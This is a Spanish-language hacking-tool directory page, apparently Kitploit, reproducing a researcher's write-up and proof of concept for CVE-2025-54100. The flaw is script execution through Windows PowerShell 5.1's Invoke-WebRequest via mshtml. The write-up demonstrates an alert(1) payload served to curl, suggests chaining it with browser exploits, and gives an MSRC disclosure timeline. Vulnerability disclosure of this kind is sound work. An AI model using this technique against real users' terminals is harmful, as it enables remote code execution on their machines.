Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-54100 — Prueba de concepto para CVE-2025-54100: XSS en Invoke-WebRequest de PowerShell mediante mshtml.HTMLDocumentClass, lo que permite ejecución remota de código al hacer curl de JavaScript malicioso. | Kitploit
Herramientas/GitHubGitHub/osman1337-security/cve-2025-54100
Análisis de VulnerabilidadesExplotaciónSeguridad WebComando y ControlHerramienta de Acceso Remoto
GitHubosman1337-security/cve-2025-54100

CVE-2025-54100

Prueba de concepto para CVE-2025-54100: XSS en Invoke-WebRequest de PowerShell mediante mshtml.HTMLDocumentClass, lo que permite ejecución remota de código al hacer curl de JavaScript malicioso.

Ver Repositorio
23560hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-54100

El curl de Powershell utiliza Invoke-WebRequest internamente.

PS C:\Users\melih> curl

cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5

Observando la documentación del parámetro UseBasicParsing,

Este parámetro ha quedado obsoleto. A partir de PowerShell 6.0.0, todas las solicitudes web usan solo análisis básico. Este parámetro se incluye únicamente para compatibilidad con versiones anteriores y cualquier uso que se le dé no tiene ningún efecto en el funcionamiento del cmdlet.

El problema reside en UseBasicParsing del cmdlet Invoke-WebRequest de Powershell. UseBasicParsing utiliza el análisis básico; no evalúa ningún código JavaScript. Simplemente lee el texto y lo analiza.

Si este parámetro no se proporciona, Invoke-WebRequest lanza Internet Explorer internamente e intenta analizar el código HTML evaluándolo realmente, usando mshtml.HTMLDocumentClass. Realizar una solicitud curl a un sitio web que aloja código JavaScript da como resultado la ejecución de código en el navegador del cliente, que en nuestro caso es la terminal de Windows.

La documentación de mshtml.HTMLDocumentClass se puede encontrar a continuación.

https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument

Observando el ciclo de vida del primer documento anterior, podemos ver que,

Windows PowerShell 5.1 Ago-2016 Publicado en la Actualización de Aniversario de Windows 10 y Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Ene-2018 13-Feb-2019 Construido sobre .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)

Después de investigar un poco, notamos que las últimas versiones de Windows 11, Server 22 y 25 se distribuyen con una versión antigua de PowerShell (5.1 y es la predeterminada) que es vulnerable a ataques XSS.

Instalación limpia de Windows Server 22, alt text

PoC

El ataque es muy sencillo;

  • Aloja un sitio web con un payload de script.
  • Haz curl al sitio y verás la ejecución.

alt text

PS C:\Users\melih> curl 172.27.223.167:8000/a.js


StatusCode        : 200
StatusDescription : OK
Content           : <script>alert(1)</script>

RawContent        : HTTP/1.0 200 OK
                    Content-Length: 26
                    Content-Type: text/javascript
                    Date: Tue, 09 Dec 2025 15:50:40 GMT
                    Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
                    Server: SimpleHTTP/0.6 Python/3.12.3

                    <script>a...
Forms             : {}
Headers           : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
                    2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 26


Puedes ser creativo y realizar cosas como open("about:blank").

alt text

También se debe considerar que esto podría usarse en cadenas más grandes, como exploits de navegador, para lograr una ejecución confiable o forzar el renderizado del navegador.

Cronología de actualizaciones de MSRC

  • 15 Oct 2025 – La vulnerabilidad fue enviada al equipo de seguridad de Microsoft a través de MSRC.
  • 16 Oct 2025 – El equipo nos informó que comenzaron a revisar el informe.
  • 17 Nov 2025 – El equipo confirmó la vulnerabilidad y nos informó que la corregirían. El mensaje completo del equipo de MSRC: “Confirmamos el comportamiento que reportaste. Continuaremos nuestra investigación y determinaremos cómo abordar este problema. Por favor, házmelo saber si tienes información adicional que pueda ayudar a nuestra investigación, o si tienes preguntas.”
  • 25 de noviembre de 2025 - El informe fue clasificado como Severity: Important, Security Impact: Remote Code Execution y se otorgó una recompensa de $5,000.

alt text

Descargar herramienta